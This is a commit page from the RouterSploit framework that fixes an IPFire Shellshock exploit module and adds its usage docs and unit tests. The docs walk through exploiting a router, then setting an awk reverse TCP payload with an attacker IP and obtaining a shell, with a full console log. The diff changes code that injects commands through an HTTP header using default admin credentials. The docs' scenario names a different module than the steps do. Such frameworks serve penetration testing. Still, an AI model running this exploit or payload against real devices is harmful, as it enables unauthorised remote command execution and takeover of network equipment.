Unverified Commit 43074f42 by Marcin Bury Committed by GitHub

Fixing IPFire Shellshock module, adding tests and docs (#538)

parent cadcc36b
## Description
Exploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. If the target is vulnerable
it is possible to execute commands on operating system level.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use exploits/routers/ipfire/ipfire_shellshock`
3. Do: `set target [TargetIP]`
4. Do: `run`
5. If router is vulnerable, it should be possible to execute commands on operating system level.
6. Do: `set payload awk_reverse_tcp`
7. Do: `set lhost [AttackerIP]`
8. Do: `run`
9. Payload is sent to device and executed providing attacker with the command shell.
## Scenarios
```
rsf > use exploits/routers/ipfire/ipfire_proxy_rce
rsf (IPFire Proxy RCE) > set target 192.168.2.88
[+] target => 192.168.2.88
rsf (IPFire Proxy RCE) > show options
Target options:
Name Current settings Description
---- ---------------- -----------
ssl true SSL enabled: true/false
target 192.168.2.88 Target IPv4 or IPv6 address
port 444 Target HTTP port
Module options:
Name Current settings Description
---- ---------------- -----------
verbosity true Verbosity enabled: true/false
username admin Username to log in with
password admin Password to log in with
rsf (IPFire Proxy RCE) > run
[*] Running module...
[+] Target is vulnerable
[*] Invoking command loop...
[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.
cmd > uname -a
[*] Executing 'uname -a' on the device...
Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux
cmd > show payloads
[*] Available payloads:
Payload Name Description
------- ---- -----------
awk_bind_udp Awk Bind UDP Creates an interactive udp bind shell by using (g)awk.
awk_bind_tcp Awk Bind TCP Creates an interactive tcp bind shell by using (g)awk.
awk_reverse_tcp Awk Reverse TCP Creates an interactive tcp reverse shell by using (g)awk.
cmd > set payload awk_reverse_tcp
cmd (Awk Reverse TCP) > show options
Payload Options:
Name Current settings Description
---- ---------------- -----------
lhost Connect-back IP address
lport 5555 Connect-back TCP Port
encoder Encoder
cmd awk Awk binary
cmd (Awk Reverse TCP) > set lhost 192.168.2.100
lhost => 192.168.2.100
cmd (Awk Reverse TCP) > run
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.2.88:48775
[+] Enjoy your shell
id
uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
```
...@@ -5,7 +5,7 @@ from routersploit.core.http.http_client import HTTPClient ...@@ -5,7 +5,7 @@ from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
__info__ = { __info__ = {
"name": "IPFire Shellshock", "name": "IPFire Shellshock",
"description": "Exploits shellshock vulnerability in IPFire M= 2.15 Core Update 82. " "description": "Exploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. "
"If the target is vulnerable it is possible to execute commands on operating system level.", "If the target is vulnerable it is possible to execute commands on operating system level.",
"authors": ( "authors": (
"Claudio Viviani", # vulnerability discovery "Claudio Viviani", # vulnerability discovery
...@@ -21,6 +21,7 @@ class Exploit(HTTPClient): ...@@ -21,6 +21,7 @@ class Exploit(HTTPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(444, "Target HTTP port") port = OptPort(444, "Target HTTP port")
ssl = OptBool(True, "SSL enabled: true/false")
username = OptString("admin", "Username to log in with") username = OptString("admin", "Username to log in with")
password = OptString("admin", "Password to log in with") password = OptString("admin", "Password to log in with")
...@@ -38,11 +39,11 @@ class Exploit(HTTPClient): ...@@ -38,11 +39,11 @@ class Exploit(HTTPClient):
def execute(self, cmd): def execute(self, cmd):
marker = utils.random_text(32) marker = utils.random_text(32)
cmd = "echo {};{};echo{}".format(marker, cmd, marker) cmd = "echo {};{}".format(marker, cmd)
payload = self.payload.replace("{{cmd}}", cmd) payload = self.payload.replace("{{cmd}}", cmd)
headers = { headers = {
'VULN': payload, "VULN": payload,
} }
response = self.http_request( response = self.http_request(
...@@ -56,7 +57,7 @@ class Exploit(HTTPClient): ...@@ -56,7 +57,7 @@ class Exploit(HTTPClient):
if response.status_code == 200: if response.status_code == 200:
start = response.text.find(marker) + len(marker) + 1 # marker and whitespace start = response.text.find(marker) + len(marker) + 1 # marker and whitespace
end = response.text.find(marker, start) - 48 end = response.text.find("<!DOCTYPE html>", start)
return response.text[start:end] return response.text[start:end]
...@@ -69,7 +70,7 @@ class Exploit(HTTPClient): ...@@ -69,7 +70,7 @@ class Exploit(HTTPClient):
payload = self.payload.replace("{{cmd}}", cmd) payload = self.payload.replace("{{cmd}}", cmd)
headers = { headers = {
'VULN': payload, "VULN": payload,
} }
response = self.http_request( response = self.http_request(
...@@ -78,10 +79,8 @@ class Exploit(HTTPClient): ...@@ -78,10 +79,8 @@ class Exploit(HTTPClient):
headers=headers, headers=headers,
auth=(self.username, self.password) auth=(self.username, self.password)
) )
if response is None:
return False # target is not vulnerable
if response.status_code == 200 and marker in response.text: if response and marker in response.text:
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -19,9 +19,13 @@ def test_check_success(mocked_shell, target): ...@@ -19,9 +19,13 @@ def test_check_success(mocked_shell, target):
assert exploit.target == "" assert exploit.target == ""
assert exploit.port == 444 assert exploit.port == 444
assert exploit.ssl is True
assert exploit.username == "admin"
assert exploit.password == "admin"
exploit.target = target.host exploit.target = target.host
exploit.port = target.port exploit.port = target.port
exploit.ssl = "false"
assert exploit.check() assert exploit.check()
assert exploit.run() is None assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment